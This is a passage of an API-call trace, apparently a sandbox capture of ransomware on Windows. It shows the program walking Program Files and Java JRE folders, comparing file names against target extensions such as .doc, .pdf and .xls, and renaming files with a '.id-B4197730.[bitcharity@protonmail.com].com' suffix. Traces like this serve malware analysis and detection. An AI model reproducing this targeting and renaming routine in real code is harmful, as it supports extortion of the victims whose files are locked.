(lpString1=".1cd", lpString2=".mui") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.078] lstrlenW (lpString=".jpg") returned 4 [0244.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.078] lstrlenW (lpString=".doc") returned 4 [0244.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.078] lstrlenW (lpString=".docx") returned 5 [0244.078] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.078] lstrlenW (lpString=".pdf") returned 4 [0244.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.078] lstrlenW (lpString=".xls") returned 4 [0244.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.078] lstrlenW (lpString=".xlsx") returned 5 [0244.078] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.078] lstrlenW (lpString=".ppt") returned 4 [0244.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.078] lstrlenW (lpString=".zip") returned 4 [0244.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.078] lstrlenW (lpString=".rar") returned 4 [0244.079] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.079] lstrlenW (lpString=".bz2") returned 4 [0244.079] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.079] lstrlenW (lpString=".7z") returned 3 [0244.079] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.079] lstrlenW (lpString=".dbf") returned 4 [0244.079] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.079] lstrlenW (lpString=".1cd") returned 4 [0244.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.079] lstrlenW (lpString=".jpg") returned 4 [0244.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.079] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.079] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.080] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=10240) returned 1 [0244.080] CloseHandle (hObject=0x116c) returned 1 [0244.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0244.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0244.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0244.081] lstrlenW (lpString=".doc") returned 4 [0244.081] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.081] lstrlenW (lpString=".docx") returned 5 [0244.081] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.081] lstrlenW (lpString=".pdf") returned 4 [0244.081] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.081] lstrlenW (lpString=".xls") returned 4 [0244.081] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.081] lstrlenW (lpString=".xlsx") returned 5 [0244.081] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.081] lstrlenW (lpString=".ppt") returned 4 [0245.399] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.399] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.400] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.400] CloseHandle (hObject=0x1190) returned 1 [0245.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0245.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0245.400] lstrlenW (lpString=".doc") returned 4 [0245.401] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.402] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.402] CloseHandle (hObject=0x1190) returned 1 [0245.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0245.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0245.402] lstrlenW (lpString=".doc") returned 4 [0245.403] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.403] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.403] CloseHandle (hObject=0x1190) returned 1 [0245.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0245.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0245.404] lstrlenW (lpString=".doc") returned 4 [0245.405] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.405] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.405] CloseHandle (hObject=0x1190) returned 1 [0245.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0245.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0245.406] lstrlenW (lpString=".doc") returned 4 [0245.406] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.406] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.407] CloseHandle (hObject=0x1190) returned 1 [0245.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0245.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0245.407] lstrlenW (lpString=".doc") returned 4 [0246.573] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.573] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.818] CloseHandle (hObject=0x11ec) returned 1 [0246.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0246.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0246.819] lstrlenW (lpString=".doc") returned 4 [0246.980] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.980] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.980] CloseHandle (hObject=0x11ec) returned 1 [0246.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0246.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0246.980] lstrlenW (lpString=".doc") returned 4 [0246.981] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.981] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.981] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.981] CloseHandle (hObject=0x11ec) returned 1 [0246.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0246.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0246.982] lstrlenW (lpString=".doc") returned 4 [0246.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0246.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0246.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0246.983] lstrlenW (lpString=".doc") returned 4 [0246.986] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.986] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.987] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.987] CloseHandle (hObject=0x11ec) returned 1 [0246.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0246.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0246.987] lstrlenW (lpString=".doc") returned 4 [0246.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0246.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0246.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0246.988] lstrlenW (lpString=".doc") returned 4 [0246.989] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.989] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.989] CloseHandle (hObject=0x11ec) returned 1 [0246.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0246.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0246.989] lstrlenW (lpString=".doc") returned 4 [0246.992] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.992] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.992] CloseHandle (hObject=0x11ec) returned 1 [0246.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0246.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0246.992] lstrlenW (lpString=".doc") returned 4 [0246.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0246.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0246.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0246.993] lstrlenW (lpString=".doc") returned 4 [0246.994] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.994] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.994] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.994] CloseHandle (hObject=0x11ec) returned 1 [0246.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0246.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0246.995] lstrlenW (lpString=".doc") returned 4 [0246.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0246.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0246.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0246.996] lstrlenW (lpString=".doc") returned 4 [0246.997] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.997] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.997] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.997] CloseHandle (hObject=0x11ec) returned 1 [0246.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0246.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0246.998] lstrlenW (lpString=".doc") returned 4 [0246.998] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.998] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.998] CloseHandle (hObject=0x11ec) returned 1 [0246.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0246.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0246.999] lstrlenW (lpString=".doc") returned 4 [0246.999] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.999] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.000] CloseHandle (hObject=0x11ec) returned 1 [0247.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0247.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0247.000] lstrlenW (lpString=".doc") returned 4 [0247.000] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.000] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.001] CloseHandle (hObject=0x11ec) returned 1 [0247.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0247.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0247.001] lstrlenW (lpString=".doc") returned 4 [0247.002] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.002] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.002] CloseHandle (hObject=0x11ec) returned 1 [0247.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0247.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0247.002] lstrlenW (lpString=".doc") returned 4 [0247.003] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.003] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, 